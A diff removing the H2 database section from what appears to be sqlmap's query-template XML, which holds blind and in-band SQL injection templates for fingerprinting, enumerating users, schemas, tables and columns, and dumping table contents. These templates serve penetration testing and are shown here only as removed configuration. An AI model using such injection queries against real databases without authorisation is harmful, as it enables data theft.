@@ -720,69 +720,6 @@
         </search_column>
     </dbms>
 
-    <dbms value="H2">
-        <cast query="CAST(%s AS LONGVARCHAR)"/>
-        <length query="CHAR_LENGTH(%s)"/>
-        <isnull query="IFNULL(%s,' ')"/>
-        <delimiter query="||"/>
-        <limit query="OFFSET %d LIMIT %d"/>
-        <limitregexp query="\s+OFFSET\s+([\d]+)\s+LIMIT\s+([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
-        <limitgroupstart query="1"/>
-        <limitgroupstop query="2"/>
-        <limitstring query=" OFFSET "/>
-        <order query="ORDER BY %s ASC"/>
-        <count query="COUNT(%s)"/>
-        <comment query="--" query2="//"/>
-        <substring query="SUBSTR((%s),%d,%d)"/>
-        <concatenate query="CONCAT(%s,%s)"/>
-        <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
-        <hex query="RAWTOHEX(%s)"/>
-        <inference query="ASCII(SUBSTR((%s),%d,1))>%d"/>
-        <banner query="H2VERSION()"/>
-        <current_user query="CURRENT_USER"/>
-        <current_db query="DATABASE()"/>
-        <hostname/>
-        <table_comment/>
-        <column_comment/>
-        <is_dba query="SELECT CURRENT_USER='SA'"/>
-        <check_udf/>
-        <users>
-            <inband query="SELECT NAME FROM INFORMATION_SCHEMA.USERS"/>
-            <blind query="SELECT NAME FROM INFORMATION_SCHEMA.USERS OFFSET %d LIMIT 1" count="SELECT COUNT(NAME) FROM INFORMATION_SCHEMA.USERS"/>
-        </users>
-        <passwords/>
-        <privileges/>
-        <roles/>
-        <dbs>
-            <inband query="SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA"/>
-            <blind query="SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA OFFSET %d LIMIT 1" count="SELECT COUNT(SCHEMA_NAME) FROM INFORMATION_SCHEMA.SCHEMATA"/>
-        </dbs>
-        <tables>
-            <inband query="SELECT TABLE_SCHEMA,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES" condition="TABLE_SCHEMA"/>
-            <blind query="SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='%s'"/>
-        </tables>
-        <columns>
-            <blind query="SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='%s' AND TABLE_SCHEMA='%s' ORDER BY COLUMN_NAME" query2="SELECT TYPE_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s' AND TABLE_SCHEMA='%s'" count="SELECT COUNT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='%s' AND TABLE_SCHEMA='%s'" condition="COLUMN_NAME"/>
-            <inband query="SELECT COLUMN_NAME,TYPE_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='%s' AND TABLE_SCHEMA='%s' ORDER BY COLUMN_NAME" condition="COLUMN_NAME"/>
-        </columns>
-        <dump_table>
-            <blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s"/>
-            <inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
-        </dump_table>
-        <search_db>
-            <blind query="SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" count="SELECT COUNT(SCHEMA_NAME) FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="SCHEMA_NAME"/>
-            <inband query="SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="SCHEMA_NAME"/>
-        </search_db>
-        <search_table>
-            <blind query="SELECT DISTINCT(TABLE_SCHEMA) FROM INFORMATION_SCHEMA.TABLES WHERE %s ORDER BY 1" query2="SELECT DISTINCT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='%s' ORDER BY 1" count="SELECT COUNT(DISTINCT(TABLE_SCHEMA)) FROM INFORMATION_SCHEMA.TABLES WHERE %s" count2="SELECT COUNT(DISTINCT(TABLE_NAME)) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='%s'" condition="TABLE_NAME" condition2="TABLE_SCHEMA"/>
-            <inband query="SELECT TABLE_SCHEMA,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE %s" condition="TABLE_NAME" condition2="TABLE_SCHEMA"/>
-        </search_table>
-        <search_column>
-            <blind query="SELECT DISTINCT(TABLE_SCHEMA) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s ORDER BY 1" query2="SELECT DISTINCT(TABLE_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='%s' ORDER BY 1" count="SELECT COUNT(DISTINCT(TABLE_SCHEMA)) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" count2="SELECT COUNT(DISTINCT(TABLE_NAME)) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='%s'" condition="column_name" condition2="TABLE_SCHEMA" condition3="TABLE_NAME"/>
-            <inband query="SELECT TABLE_SCHEMA,TABLE_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" condition="COLUMN_NAME" condition2="TABLE_SCHEMA" condition3="TABLE_NAME"/>
-        </search_column>
-    </dbms>
-
     <!-- Informix -->
     <!-- https://www.ibm.com/support/knowledgecenter/SSGU8G_11.70.0/com.ibm.sqlr.doc/ids_sqr_072.htm -->
     <!-- https://www.ibm.com/support/knowledgecenter/SSGU8G_12.1.0/com.ibm.sec.doc/ids_am_041.htm -->